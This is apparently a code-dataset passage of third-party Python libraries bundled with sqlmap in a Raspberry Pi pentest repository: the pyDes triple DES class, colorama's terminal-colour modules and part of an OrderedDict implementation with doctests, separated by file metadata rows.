return self._unpadData(data, pad, padmode) ############################################################################# # Triple DES # ############################################################################# class triple_des(_baseDes): """Triple DES encryption/decrytpion class This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or the DES-EDE2 (when a 16 byte key is supplied) encryption methods. Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key, [mode], [IV]) key -> Bytes containing the encryption key, must be either 16 or 24 bytes long mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrpt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrpt operations done with this instance. """ def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): _baseDes.__init__(self, mode, IV, pad, padmode) self.setKey(key) def setKey(self, key): """Will set the crypting key for this object. Either 16 or 24 bytes long.""" self.key_size = 24 # Use DES-EDE3 mode if len(key) != self.key_size: if len(key) == 16: # Use DES-EDE2 mode self.key_size = 16 else: raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long") if self.getMode() == CBC: if not self.getIV(): # Use the first 8 bytes of the key self._iv = key[:self.block_size] if len(self.getIV()) != self.block_size: raise ValueError("Invalid IV, must be 8 bytes in length") self.__key1 = des(key[:8], self._mode, self._iv, self._padding, self._padmode) self.__key2 = des(key[8:16], self._mode, self._iv, self._padding, self._padmode) if self.key_size == 16: self.__key3 = self.__key1 else: self.__key3 = des(key[16:], self._mode, self._iv, self._padding, self._padmode) _baseDes.setKey(self, key) # Override setter methods to work on all 3 keys. def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" _baseDes.setMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setMode(mode) def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" _baseDes.setPadding(self, pad) for key in (self.__key1, self.__key2, self.__key3): key.setPadding(pad) def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" _baseDes.setPadMode(self, mode) for key in (self.__key1, self.__key2, self.__key3): key.setPadMode(mode) def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" _baseDes.setIV(self, IV) for key in (self.__key1, self.__key2, self.__key3): key.setIV(IV) def encrypt(self, data, pad=None, padmode=None): """encrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for encryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be encrypted with the already specified key. Data does not have to be a multiple of 8 bytes if the padding character is supplied, or the padmode is set to PAD_PKCS5, as bytes will then added to ensure the be padded data is a multiple of 8 bytes. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) # Pad the data accordingly. data = self._padData(data, pad, padmode) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): block = self.__key1.crypt(data[i:i+8], ENCRYPT) block = self.__key2.crypt(block, DECRYPT) block = self.__key3.crypt(block, ENCRYPT) self.__key1.setIV(block) self.__key2.setIV(block) self.__key3.setIV(block) result.append(block) i += 8 if _pythonMajorVersion < 3: return ''.join(result) else: return bytes.fromhex('').join(result) else: data = self.__key1.crypt(data, ENCRYPT) data = self.__key2.crypt(data, DECRYPT) return self.__key3.crypt(data, ENCRYPT) def decrypt(self, data, pad=None, padmode=None): """decrypt(data, [pad], [padmode]) -> bytes data : bytes to be encrypted pad : Optional argument for decryption padding. Must only be one byte padmode : Optional argument for overriding the padding mode. The data must be a multiple of 8 bytes and will be decrypted with the already specified key. In PAD_NORMAL mode, if the optional padding character is supplied, then the un-encrypted data will have the padding characters removed from the end of the bytes. This pad removal only occurs on the last 8 bytes of the data (last data block). In PAD_PKCS5 mode, the special padding end markers will be removed from the data after decrypting, no pad character is required for PAD_PKCS5. """ ENCRYPT = des.ENCRYPT DECRYPT = des.DECRYPT data = self._guardAgainstUnicode(data) if pad is not None: pad = self._guardAgainstUnicode(pad) if self.getMode() == CBC: self.__key1.setIV(self.getIV()) self.__key2.setIV(self.getIV()) self.__key3.setIV(self.getIV()) i = 0 result = [] while i < len(data): iv = data[i:i+8] block = self.__key3.crypt(iv, DECRYPT) block = self.__key2.crypt(block, ENCRYPT) block = self.__key1.crypt(block, DECRYPT) self.__key1.setIV(iv) self.__key2.setIV(iv) self.__key3.setIV(iv) result.append(block) i += 8 if _pythonMajorVersion < 3: data = ''.join(result) else: data = bytes.fromhex('').join(result) else: data = self.__key3.crypt(data, DECRYPT) data = self.__key2.crypt(data, ENCRYPT) data = self.__key1.crypt(data, DECRYPT) return self._unpadData(data, pad, padmode)
32,647
Python
.py
730
34.972603
164
0.537985
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,183
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/pydes/__init__.py
#!/usr/bin/env python # # Copyright 2009 Todd Whiteman # # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # pass
720
Python
.py
18
38.944444
74
0.78174
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,184
ansi.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/colorama/ansi.py
''' This module generates ANSI character codes to printing colors to terminals. See: http://en.wikipedia.org/wiki/ANSI_escape_code ''' CSI = '\033[' def code_to_chars(code): return CSI + str(code) + 'm' class AnsiCodes(object): def __init__(self, codes): for name in dir(codes): if not name.startswith('_'): value = getattr(codes, name) setattr(self, name, code_to_chars(value)) class AnsiFore: BLACK = 30 RED = 31 GREEN = 32 YELLOW = 33 BLUE = 34 MAGENTA = 35 CYAN = 36 WHITE = 37 RESET = 39 class AnsiBack: BLACK = 40 RED = 41 GREEN = 42 YELLOW = 43 BLUE = 44 MAGENTA = 45 CYAN = 46 WHITE = 47 RESET = 49 class AnsiStyle: BRIGHT = 1 DIM = 2 NORMAL = 22 RESET_ALL = 0 Fore = AnsiCodes( AnsiFore ) Back = AnsiCodes( AnsiBack ) Style = AnsiCodes( AnsiStyle )
964
Python
.py
41
18.707317
75
0.57377
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,185
win32.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/colorama/win32.py
# from winbase.h STDOUT = -11 STDERR = -12 try: from ctypes import windll except ImportError: windll = None SetConsoleTextAttribute = lambda *_: None else: from ctypes import ( byref, Structure, c_char, c_short, c_uint32, c_ushort ) handles = { STDOUT: windll.kernel32.GetStdHandle(STDOUT), STDERR: windll.kernel32.GetStdHandle(STDERR), } SHORT = c_short WORD = c_ushort DWORD = c_uint32 TCHAR = c_char class COORD(Structure): """struct in wincon.h""" _fields_ = [ ('X', SHORT), ('Y', SHORT), ] class SMALL_RECT(Structure): """struct in wincon.h.""" _fields_ = [ ("Left", SHORT), ("Top", SHORT), ("Right", SHORT), ("Bottom", SHORT), ] class CONSOLE_SCREEN_BUFFER_INFO(Structure): """struct in wincon.h.""" _fields_ = [ ("dwSize", COORD), ("dwCursorPosition", COORD), ("wAttributes", WORD), ("srWindow", SMALL_RECT), ("dwMaximumWindowSize", COORD), ] def __str__(self): return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( self.dwSize.Y, self.dwSize.X , self.dwCursorPosition.Y, self.dwCursorPosition.X , self.wAttributes , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X ) def GetConsoleScreenBufferInfo(stream_id=STDOUT): handle = handles[stream_id] csbi = CONSOLE_SCREEN_BUFFER_INFO() success = windll.kernel32.GetConsoleScreenBufferInfo( handle, byref(csbi)) return csbi def SetConsoleTextAttribute(stream_id, attrs): handle = handles[stream_id] return windll.kernel32.SetConsoleTextAttribute(handle, attrs) def SetConsoleCursorPosition(stream_id, position): position = COORD(*position) # If the position is out of range, do nothing. if position.Y <= 0 or position.X <= 0: return # Adjust for Windows' SetConsoleCursorPosition: # 1. being 0-based, while ANSI is 1-based. # 2. expecting (x,y), while ANSI uses (y,x). adjusted_position = COORD(position.Y - 1, position.X - 1) # Adjust for viewport's scroll position sr = GetConsoleScreenBufferInfo(STDOUT).srWindow adjusted_position.Y += sr.Top adjusted_position.X += sr.Left # Resume normal processing handle = handles[stream_id] return windll.kernel32.SetConsoleCursorPosition(handle, adjusted_position) def FillConsoleOutputCharacter(stream_id, char, length, start): handle = handles[stream_id] char = TCHAR(char) length = DWORD(length) num_written = DWORD(0) # Note that this is hard-coded for ANSI (vs wide) bytes. success = windll.kernel32.FillConsoleOutputCharacterA( handle, char, length, start, byref(num_written)) return num_written.value def FillConsoleOutputAttribute(stream_id, attr, length, start): ''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )''' handle = handles[stream_id] attribute = WORD(attr) length = DWORD(length) num_written = DWORD(0) # Note that this is hard-coded for ANSI (vs wide) bytes. return windll.kernel32.FillConsoleOutputAttribute( handle, attribute, length, start, byref(num_written))
3,670
Python
.py
94
30.053191
111
0.608537
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,186
ansitowin32.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/colorama/ansitowin32.py
import re import sys from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style from .winterm import WinTerm, WinColor, WinStyle from .win32 import windll if windll is not None: winterm = WinTerm() def is_a_tty(stream): return hasattr(stream, 'isatty') and stream.isatty() class StreamWrapper(object): ''' Wraps a stream (such as stdout), acting as a transparent proxy for all attribute access apart from method 'write()', which is delegated to our Converter instance. ''' def __init__(self, wrapped, converter): # double-underscore everything to prevent clashes with names of # attributes on the wrapped stream object. self.__wrapped = wrapped self.__convertor = converter def __getattr__(self, name): return getattr(self.__wrapped, name) def write(self, text): self.__convertor.write(text) class AnsiToWin32(object): ''' Implements a 'write()' method which, on Windows, will strip ANSI character sequences from the text, and if outputting to a tty, will convert them into win32 function calls. ''' ANSI_RE = re.compile('\033\[((?:\d|;)*)([a-zA-Z])') def __init__(self, wrapped, convert=None, strip=None, autoreset=False): # The wrapped stream (normally sys.stdout or sys.stderr) self.wrapped = wrapped # should we reset colors to defaults after every .write() self.autoreset = autoreset # create the proxy wrapping our output stream self.stream = StreamWrapper(wrapped, self) on_windows = sys.platform.startswith('win') # should we strip ANSI sequences from our output? if strip is None: strip = on_windows self.strip = strip # should we should convert ANSI sequences into win32 calls? if convert is None: convert = on_windows and is_a_tty(wrapped) self.convert = convert # dict of ansi codes to win32 functions and parameters self.win32_calls = self.get_win32_calls() # are we wrapping stderr? self.on_stderr = self.wrapped is sys.stderr def should_wrap(self): ''' True if this class is actually needed. If false, then the output stream will not be affected, nor will win32 calls be issued, so wrapping stdout is not actually required. This will generally be False on non-Windows platforms, unless optional functionality like autoreset has been requested using kwargs to init() ''' return self.convert or self.strip or self.autoreset def get_win32_calls(self): if self.convert and winterm: return { AnsiStyle.RESET_ALL: (winterm.reset_all, ), AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT), AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL), AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL), AnsiFore.BLACK: (winterm.fore, WinColor.BLACK), AnsiFore.RED: (winterm.fore, WinColor.RED), AnsiFore.GREEN: (winterm.fore, WinColor.GREEN), AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW), AnsiFore.BLUE: (winterm.fore, WinColor.BLUE), AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA), AnsiFore.CYAN: (winterm.fore, WinColor.CYAN), AnsiFore.WHITE: (winterm.fore, WinColor.GREY), AnsiFore.RESET: (winterm.fore, ), AnsiBack.BLACK: (winterm.back, WinColor.BLACK), AnsiBack.RED: (winterm.back, WinColor.RED), AnsiBack.GREEN: (winterm.back, WinColor.GREEN), AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW), AnsiBack.BLUE: (winterm.back, WinColor.BLUE), AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA), AnsiBack.CYAN: (winterm.back, WinColor.CYAN), AnsiBack.WHITE: (winterm.back, WinColor.GREY), AnsiBack.RESET: (winterm.back, ), } def write(self, text): if self.strip or self.convert: self.write_and_convert(text) else: self.wrapped.write(text) self.wrapped.flush() if self.autoreset: self.reset_all() def reset_all(self): if self.convert: self.call_win32('m', (0,)) elif is_a_tty(self.wrapped): self.wrapped.write(Style.RESET_ALL) def write_and_convert(self, text): ''' Write the given text to our wrapped stream, stripping any ANSI sequences from the text, and optionally converting them into win32 calls. ''' cursor = 0 for match in self.ANSI_RE.finditer(text): start, end = match.span() self.write_plain_text(text, cursor, start) self.convert_ansi(*match.groups()) cursor = end self.write_plain_text(text, cursor, len(text)) def write_plain_text(self, text, start, end): if start < end: self.wrapped.write(text[start:end]) self.wrapped.flush() def convert_ansi(self, paramstring, command): if self.convert: params = self.extract_params(paramstring) self.call_win32(command, params) def extract_params(self, paramstring): def split(paramstring): for p in paramstring.split(';'): if p != '': yield int(p) return tuple(split(paramstring)) def call_win32(self, command, params): if params == []: params = [0] if command == 'm': for param in params: if param in self.win32_calls: func_args = self.win32_calls[param] func = func_args[0] args = func_args[1:] kwargs = dict(on_stderr=self.on_stderr) func(*args, **kwargs) elif command in ('H', 'f'): # set cursor position func = winterm.set_cursor_position func(params, on_stderr=self.on_stderr) elif command in ('J'): func = winterm.erase_data func(params, on_stderr=self.on_stderr) elif command == 'A': if params == () or params == None: num_rows = 1 else: num_rows = params[0] func = winterm.cursor_up func(num_rows, on_stderr=self.on_stderr)
6,547
Python
.py
150
32.92
79
0.59956
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,187
winterm.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/colorama/winterm.py
from . import win32 # from wincon.h class WinColor(object): BLACK = 0 BLUE = 1 GREEN = 2 CYAN = 3 RED = 4 MAGENTA = 5 YELLOW = 6 GREY = 7 # from wincon.h class WinStyle(object): NORMAL = 0x00 # dim text, dim background BRIGHT = 0x08 # bright text, dim background class WinTerm(object): def __init__(self): self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes self.set_attrs(self._default) self._default_fore = self._fore self._default_back = self._back self._default_style = self._style def get_attrs(self): return self._fore + self._back * 16 + self._style def set_attrs(self, value): self._fore = value & 7 self._back = (value >> 4) & 7 self._style = value & WinStyle.BRIGHT def reset_all(self, on_stderr=None): self.set_attrs(self._default) self.set_console(attrs=self._default) def fore(self, fore=None, on_stderr=False): if fore is None: fore = self._default_fore self._fore = fore self.set_console(on_stderr=on_stderr) def back(self, back=None, on_stderr=False): if back is None: back = self._default_back self._back = back self.set_console(on_stderr=on_stderr) def style(self, style=None, on_stderr=False): if style is None: style = self._default_style self._style = style self.set_console(on_stderr=on_stderr) def set_console(self, attrs=None, on_stderr=False): if attrs is None: attrs = self.get_attrs() handle = win32.STDOUT if on_stderr: handle = win32.STDERR win32.SetConsoleTextAttribute(handle, attrs) def get_position(self, handle): position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition # Because Windows coordinates are 0-based, # and win32.SetConsoleCursorPosition expects 1-based. position.X += 1 position.Y += 1 return position def set_cursor_position(self, position=None, on_stderr=False): if position is None: #I'm not currently tracking the position, so there is no default. #position = self.get_position() return handle = win32.STDOUT if on_stderr: handle = win32.STDERR win32.SetConsoleCursorPosition(handle, position) def cursor_up(self, num_rows=0, on_stderr=False): if num_rows == 0: return handle = win32.STDOUT if on_stderr: handle = win32.STDERR position = self.get_position(handle) adjusted_position = (position.Y - num_rows, position.X) self.set_cursor_position(adjusted_position, on_stderr) def erase_data(self, mode=0, on_stderr=False): # 0 (or None) should clear from the cursor to the end of the screen. # 1 should clear from the cursor to the beginning of the screen. # 2 should clear the entire screen. (And maybe move cursor to (1,1)?) # # At the moment, I only support mode 2. From looking at the API, it # should be possible to calculate a different number of bytes to clear, # and to do so relative to the cursor position. if mode[0] not in (2,): return handle = win32.STDOUT if on_stderr: handle = win32.STDERR # here's where we'll home the cursor coord_screen = win32.COORD(0,0) csbi = win32.GetConsoleScreenBufferInfo(handle) # get the number of character cells in the current buffer dw_con_size = csbi.dwSize.X * csbi.dwSize.Y # fill the entire screen with blanks win32.FillConsoleOutputCharacter(handle, ord(' '), dw_con_size, coord_screen) # now set the buffer's attributes accordingly win32.FillConsoleOutputAttribute(handle, self.get_attrs(), dw_con_size, coord_screen ); # put the cursor at (0, 0) win32.SetConsoleCursorPosition(handle, (coord_screen.X, coord_screen.Y))
4,133
Python
.py
102
32.166667
95
0.627212
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,188
initialise.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/colorama/initialise.py
import atexit import sys from .ansitowin32 import AnsiToWin32 orig_stdout = sys.stdout orig_stderr = sys.stderr wrapped_stdout = sys.stdout wrapped_stderr = sys.stderr atexit_done = False def reset_all(): AnsiToWin32(orig_stdout).reset_all() def init(autoreset=False, convert=None, strip=None, wrap=True): if not wrap and any([autoreset, convert, strip]): raise ValueError('wrap=False conflicts with any other arg=True') global wrapped_stdout, wrapped_stderr sys.stdout = wrapped_stdout = \ wrap_stream(orig_stdout, convert, strip, autoreset, wrap) sys.stderr = wrapped_stderr = \ wrap_stream(orig_stderr, convert, strip, autoreset, wrap) global atexit_done if not atexit_done: atexit.register(reset_all) atexit_done = True def deinit(): sys.stdout = orig_stdout sys.stderr = orig_stderr def reinit(): sys.stdout = wrapped_stdout sys.stderr = wrapped_stdout def wrap_stream(stream, convert, strip, autoreset, wrap): if wrap: wrapper = AnsiToWin32(stream, convert=convert, strip=strip, autoreset=autoreset) if wrapper.should_wrap(): stream = wrapper.stream return stream
1,222
Python
.py
35
29.571429
72
0.707798
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,189
odict.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/odict/odict.py
# odict.py # An Ordered Dictionary object # Copyright (C) 2005 Nicola Larosa, Michael Foord # E-mail: nico AT tekNico DOT net, fuzzyman AT voidspace DOT org DOT uk # This software is licensed under the terms of the BSD license. # http://www.voidspace.org.uk/python/license.shtml # Basically you're free to copy, modify, distribute and relicense it, # So long as you keep a copy of the license with it. # Documentation at http://www.voidspace.org.uk/python/odict.html # For information about bugfixes, updates and support, please join the # Pythonutils mailing list: # http://groups.google.com/group/pythonutils/ # Comments, suggestions and bug reports welcome. """A dict that keeps keys in insertion order""" from __future__ import generators __author__ = ('Nicola Larosa <nico-NoSp@m-tekNico.net>,' 'Michael Foord <fuzzyman AT voidspace DOT org DOT uk>') __docformat__ = "restructuredtext en" __version__ = '0.2.2' __all__ = ['OrderedDict', 'SequenceOrderedDict'] import sys INTP_VER = sys.version_info[:2] if INTP_VER < (2, 2): raise RuntimeError("Python v.2.2 or later required") import types, warnings class _OrderedDict(dict): """ A class of dictionary that keeps the insertion order of keys. All appropriate methods return keys, items, or values in an ordered way. All normal dictionary methods are available. Update and comparison is restricted to other OrderedDict objects. Various sequence methods are available, including the ability to explicitly mutate the key ordering. __contains__ tests: >>> d = OrderedDict(((1, 3),)) >>> 1 in d 1 >>> 4 in d 0 __getitem__ tests: >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[2] 1 >>> OrderedDict(((1, 3), (3, 2), (2, 1)))[4] Traceback (most recent call last): KeyError: 4 __len__ tests: >>> len(OrderedDict()) 0 >>> len(OrderedDict(((1, 3), (3, 2), (2, 1)))) 3 get tests: >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.get(1) 3 >>> d.get(4) is None 1 >>> d.get(4, 5) 5 >>> d OrderedDict([(1, 3), (3, 2), (2, 1)]) has_key tests: >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d.has_key(1) 1 >>> d.has_key(4) 0 """ def __init__(self, init_val=(), strict=False): """ Create a new ordered dictionary. Cannot init from a normal dict, nor from kwargs, since items order is undefined in those cases. If the ``strict`` keyword argument is ``True`` (``False`` is the default) then when doing slice assignment - the ``OrderedDict`` you are assigning from *must not* contain any keys in the remaining dict. >>> OrderedDict() OrderedDict([]) >>> OrderedDict({1: 1}) Traceback (most recent call last): TypeError: undefined order, cannot get items from dict >>> OrderedDict({1: 1}.items()) OrderedDict([(1, 1)]) >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d OrderedDict([(1, 3), (3, 2), (2, 1)]) >>> OrderedDict(d) OrderedDict([(1, 3), (3, 2), (2, 1)]) """ self.strict = strict dict.__init__(self) if isinstance(init_val, OrderedDict): self._sequence = init_val.keys() dict.update(self, init_val) elif isinstance(init_val, dict): # we lose compatibility with other ordered dict types this way raise TypeError('undefined order, cannot get items from dict') else: self._sequence = [] self.update(init_val) ### Special methods ### def __delitem__(self, key): """ >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> del d[3] >>> d OrderedDict([(1, 3), (2, 1)]) >>> del d[3] Traceback (most recent call last): KeyError: 3 >>> d[3] = 2 >>> d OrderedDict([(1, 3), (2, 1), (3, 2)]) >>> del d[0:1] >>> d OrderedDict([(2, 1), (3, 2)]) """ if isinstance(key, types.SliceType): # FIXME: efficiency? keys = self._sequence[key] for entry in keys: dict.__delitem__(self, entry) del self._sequence[key] else: # do the dict.__delitem__ *first* as it raises # the more appropriate error dict.__delitem__(self, key) self._sequence.remove(key) def __eq__(self, other): """ >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d == OrderedDict(d) True >>> d == OrderedDict(((1, 3), (2, 1), (3, 2))) False >>> d == OrderedDict(((1, 0), (3, 2), (2, 1))) False >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) False >>> d == dict(d) False >>> d == False False """ if isinstance(other, OrderedDict): # FIXME: efficiency? # Generate both item lists for each compare return (self.items() == other.items()) else: return False def __lt__(self, other): """ >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) >>> c < d True >>> d < c False >>> d < dict(c) Traceback (most recent call last): TypeError: Can only compare with other OrderedDicts """ if not isinstance(other, OrderedDict): raise TypeError('Can only compare with other OrderedDicts') # FIXME: efficiency? # Generate both item lists for each compare return (self.items() < other.items()) def __le__(self, other): """ >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) >>> e = OrderedDict(d) >>> c <= d True >>> d <= c False >>> d <= dict(c) Traceback (most recent call last): TypeError: Can only compare with other OrderedDicts >>> d <= e True """ if not isinstance(other, OrderedDict): raise TypeError('Can only compare with other OrderedDicts') # FIXME: efficiency? # Generate both item lists for each compare return (self.items() <= other.items()) def __ne__(self, other): """ >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> d != OrderedDict(d) False >>> d != OrderedDict(((1, 3), (2, 1), (3, 2))) True >>> d != OrderedDict(((1, 0), (3, 2), (2, 1))) True >>> d == OrderedDict(((0, 3), (3, 2), (2, 1))) False >>> d != dict(d) True >>> d != False True """ if isinstance(other, OrderedDict): # FIXME: efficiency? # Generate both item lists for each compare return not (self.items() == other.items()) else: return True def __gt__(self, other): """ >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) >>> d > c True >>> c > d False >>> d > dict(c) Traceback (most recent call last): TypeError: Can only compare with other OrderedDicts """ if not isinstance(other, OrderedDict): raise TypeError('Can only compare with other OrderedDicts') # FIXME: efficiency? # Generate both item lists for each compare return (self.items() > other.items()) def __ge__(self, other): """ >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) >>> c = OrderedDict(((0, 3), (3, 2), (2, 1))) >>> e = OrderedDict(d) >>> c >= d False >>> d >= c True >>> d >= dict(c) Traceback (most recent call last): TypeError: Can only compare with other OrderedDicts >>> e >= d True """ if not isinstance(other, OrderedDict): raise TypeError('Can only compare with other OrderedDicts') # FIXME: efficiency? # Generate both item lists for each compare return (self.items() >= other.items()) def __repr__(self): """ Used for __repr__ and __str__ >>> r1 = repr(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) >>> r1 "OrderedDict([('a', 'b'), ('c', 'd'), ('e', 'f')])" >>> r2 = repr(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) >>> r2 "OrderedDict([('a', 'b'), ('e', 'f'), ('c', 'd')])" >>> r1 == str(OrderedDict((('a', 'b'), ('c', 'd'), ('e', 'f')))) True >>> r2 == str(OrderedDict((('a', 'b'), ('e', 'f'), ('c', 'd')))) True """ return '%s([%s])' % (self.__class__.__name__, ', '.join( ['(%r, %r)' % (key, self[key]) for key in self._sequence])) def __setitem__(self, key, val): """ Allows slice assignment, so long as the slice is an OrderedDict >>> d = OrderedDict() >>> d['a'] = 'b' >>> d['b'] = 'a' >>> d[3] = 12 >>> d OrderedDict([('a', 'b'), ('b', 'a'), (3, 12)]) >>> d[:] = OrderedDict(((1, 2), (2, 3), (3, 4))) >>> d OrderedDict([(1, 2), (2, 3), (3, 4)]) >>> d[::2] = OrderedDict(((7, 8), (9, 10))) >>> d OrderedDict([(7, 8), (2, 3), (9, 10)]) >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4))) >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) >>> d OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) >>> d = OrderedDict(((0, 1), (1, 2), (2, 3), (3, 4)), strict=True) >>> d[1:3] = OrderedDict(((1, 2), (5, 6), (7, 8))) >>> d OrderedDict([(0, 1), (1, 2), (5, 6), (7, 8), (3, 4)]) >>> a = OrderedDict(((0, 1), (1, 2), (2, 3)), strict=True) >>> a[3] = 4 >>> a OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> a OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4), (4, 5)]) Traceback (most recent call last): ValueError: slice assignment must be from unique keys >>> a = OrderedDict(((0, 1), (1, 2), (2, 3))) >>> a[3] = 4 >>> a OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> a[::1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> a OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> a[:2] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> a OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> a[::-1] = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> a OrderedDict([(3, 4), (2, 3), (1, 2), (0, 1)]) >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> d[:1] = 3 Traceback (most recent call last): TypeError: slice assignment requires an OrderedDict >>> d = OrderedDict([(0, 1), (1, 2), (2, 3), (3, 4)]) >>> d[:1] = OrderedDict([(9, 8)]) >>> d OrderedDict([(9, 8), (1, 2), (2, 3), (3, 4)]) """ if isinstance(key, types.SliceType): if not isinstance(val, OrderedDict): # FIXME: allow a list of tuples? raise TypeError('slice assignment requires an OrderedDict') keys = self._sequence[key] # NOTE: Could use ``range(*key.indices(len(self._sequence)))`` indexes = range(len(self._sequence))[key] if key.step is None: # NOTE: new slice may not be the same size as the one being # overwritten ! # NOTE: What is the algorithm for an impossible slice? # e.g. d[5:3] pos = key.start or 0 del self[key] newkeys = val.keys() for k in newkeys: if k in self: if self.strict: raise ValueError('slice assignment must be from ' 'unique keys') else: # NOTE: This removes duplicate keys *first* # so start position might have changed? del self[k] self._sequence = (self._sequence[:pos] + newkeys + self._sequence[pos:]) dict.update(self, val) else: # extended slice - length of new slice must be the same # as the one being replaced if len(keys) != len(val): raise ValueError('attempt to assign sequence of size %s ' 'to extended slice of size %s' % (len(val), len(keys))) # FIXME: efficiency? del self[key] item_list = zip(indexes, val.items()) # smallest indexes first - higher indexes not guaranteed to # exist item_list.sort() for pos, (newkey, newval) in item_list: if self.strict and newkey in self: raise ValueError('slice assignment must be from unique' ' keys') self.insert(pos, newkey, newval) else: if key not in self: self._sequence.append(key) dict.__setitem__(self, key, val) def __getitem__(self, key): """ Allows slicing. Returns an OrderedDict if you slice. >>> b = OrderedDict([(7, 0), (6, 1), (5, 2), (4, 3), (3, 4), (2, 5), (1, 6)]) >>> b[::-1] OrderedDict([(1, 6), (2, 5), (3, 4), (4, 3), (5, 2), (6, 1), (7, 0)]) 